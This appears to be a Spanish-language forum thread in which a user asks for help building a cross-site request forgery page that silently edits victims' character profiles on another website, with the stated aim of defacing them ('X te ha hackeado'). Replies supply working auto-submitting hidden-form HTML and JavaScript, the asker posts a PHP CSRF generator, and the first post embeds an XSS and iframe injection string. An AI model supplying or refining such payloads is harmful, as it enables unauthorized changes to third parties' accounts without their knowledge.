 Autor
|
Tema: ¿Cómo pongo la siguiente solicitud para CSRF? (Leído 5,658 veces)
|
xGaLan
 Desconectado
Mensajes: 5
|
Bueno, quiero hacer que cuando entren a mi página web les haga lo siguiente, en método post se le cambie lo siguiente de la cuenta. <form action="formulario" action="URL"
Aqui quiero que se envie la solicitud de abajo.
<script>document.submit();</script>
Tengo la siguiente solicitud pero no sé ponerla: altura=164&peso=60&color_ojos=Verdes&color_pelo=Marron&peinado=Corto&bello=Afeitado&tipo_cabeza=Cuadrado&complexion=Atletico&estado_animo=Inquieto&tipo_rol=Rol+serio%2C+nada+de+Off+Rol&estado_rol=En+Rol%2C+buscando+contacto&procedencia=Estados+Unidos.&apodo=Claight.&nick=ASDA&descripcion_fisica=%3CA+HREF%3D%22.%22%3EXSS+TEST%3C%2FA%3E%0D%0A%3C%2Fpre%3E%0D%0A%3Cpre%3E%0D%0A%3Ciframe+src%3D%22http%3A%2F%2FWww.xD.com%2F%3FComando%22%3E&descripcion_psicologica=Pr%C3%B3ximamente.&historia_conocida=Pr%C3%B3ximamente.&llegadaLS=Pr%C3%B3ximamente.&submit=Actualizar
|
|
|
|
« Última modificación: 28 Noviembre 2014, 17:07 pm por xGaLan »
|
En línea
|
|
|
|
|
engel lex
|
No entendi para nada, ni como esto es un csrf.... explicate con detalle lo que quieres
|
|
|
|
|
En línea
|
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
|
|
|
xGaLan
Desconectado
Mensajes: 5
|
Lo que quiero es que cuando uno entre a mi index.php, les envie una petición a la PCU de un servidor, allí le edite todos los campos sin que el se de cuenta.
|
|
|
|
|
En línea
|
|
|
|
|
MinusFour
|
<form name="form1" action="URL" method="GET"> <input type="hidden" name="altura" value="164"> <input type="hidden" name="color_ojos" value="Verdes"> <!-- Aqui sigues agregando valores --> <script>document.forms.namedItem("form1").submit(); </script>
Depende si el method es GET o POST. Hay formas para bloquear el CSRF.
|
|
|
|
|
En línea
|
|
|
|
xGaLan
Desconectado
Mensajes: 5
|
Agradezco tú ayuda, ahora una última pregunta, ¿cómo hago que automáticamente le pulse a un botón de la página y aparte que se haga sin que se abra una pestaña nueva?
|
|
|
|
|
En línea
|
|
|
|
|
MinusFour
|
Agradezco tú ayuda, ahora una última pregunta, ¿cómo hago que automáticamente le pulse a un botón de la página y aparte que se haga sin que se abra una pestaña nueva?
Para pulsar un boton, creo que puedes simplemente llamar a la funcion. document.getElementById('id').onclick();
El comportamiento de las ventanas puede ser diferente para algunos navegadores. ¿Depende como tienes puesto que se abra la pestaña desde el boton?
|
|
|
|
|
En línea
|
|
|
|
xGaLan
Desconectado
Mensajes: 5
|
Ahora tengo esto, el problema está en que yo quiero pasarle mi CSRF a la victima, entonces esta entra y se le abre la PCU en una nueva pestaña, tampoco se editan los campos en la nueva pestaña, quería que todo estuviese oculto. <form name="form1" action="http://URL/opciones/editar_personaje" method="POST">
<input type="hidden" name="llegadaLS" value="X es el más fuerte">
<input type="hidden" name="descripcion_psicologica" value="X te ha hackeado bitch.">
document.getElementById('submit').onclick();
</form>
<script>document.forms.namedItem("form1").submit();</script> |
|
|
|
|
En línea
|
|
|
|
|
MinusFour
|
Ahora tengo esto, el problema está en que yo quiero pasarle mi CSRF a la victima, entonces esta entra y se le abre la PCU en una nueva pestaña, tampoco se editan los campos en la nueva pestaña, quería que todo estuviese oculto. <form name="form1" action="http://URL/opciones/editar_personaje" method="POST">
<input type="hidden" name="llegadaLS" value="X es el más fuerte">
<input type="hidden" name="descripcion_psicologica" value="X te ha hackeado bitch.">
document.getElementById('submit').onclick();
</form>
<script>document.forms.namedItem("form1").submit();</script> No puedes abrir una pestaña y ocultarsela :/, esa no es la base de CSRF.
|
|
|
|
|
En línea
|
|
|
|
xGaLan
Desconectado
Mensajes: 5
|
Ahora he puesto esto pero no edita nada, se queda la página en blanco. <?php
$url = "URL/opciones/editar_personaje";
$form["descripcion_fisica"] = "X HACKER";
$form["submit"] = "Actualizar";
echo '<html><body onLoad="document.csrf.submit();">';
echo '<form name="csrf" action="http://'.$url.'" method="POST">';
foreach($form As $key=>$value) {
echo '<input type="hidden" name="'.$key.'" value="'.$value.'">';
}
echo '</form></body></html>';
?>
|
|
|
|
|
En línea
|
|
|
|
T. Collins
Desconectado
Mensajes: 206
|
<body onload="document.forms[0].submit()">
Con un CSRF no puedes "clickar" con javascript el botón de la otra página. En todo caso tienes que hacer la misma petición que hace al pulsar dicho botón.
|
|
|
|
« Última modificación: 28 Noviembre 2014, 18:31 pm por T. Collins »
|
En línea
|
|
|
|
|
| Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
|
como pongo la ip de virtualbox en un mismo rango para pruebas ettercap y nmap?
Hacking
|
Belial & Grimoire
|
4
|
11,961
|
23 Agosto 2011, 14:09 pm
por teudiss
|
|
|
|
Como me pongo un index para evitar ataques DDOS en mi webb??
Desarrollo Web
|
BlackSaurio
|
2
|
5,562
|
26 Septiembre 2011, 19:34 pm
por BlackSaurio
|
|
|
|
fórmula para el tiempo promedio requerido para satisfacer una solicitud.
Dudas Generales
|
Erix
|
0
|
3,211
|
27 Abril 2013, 07:25 am
por Erix
|
|
|
|
como hacer una solicitud HTTP GET a una URL en C++?
Programación C/C++
|
SoyelRobert
|
6
|
5,301
|
31 Julio 2014, 11:59 am
por ivancea96
|
|
|
|
[Solucionado]Como agrego un JScrollPane para la siguiente ventana
Java
|
PabloPbl
|
1
|
2,344
|
8 Diciembre 2014, 18:18 pm
por PabloPbl
|
 |
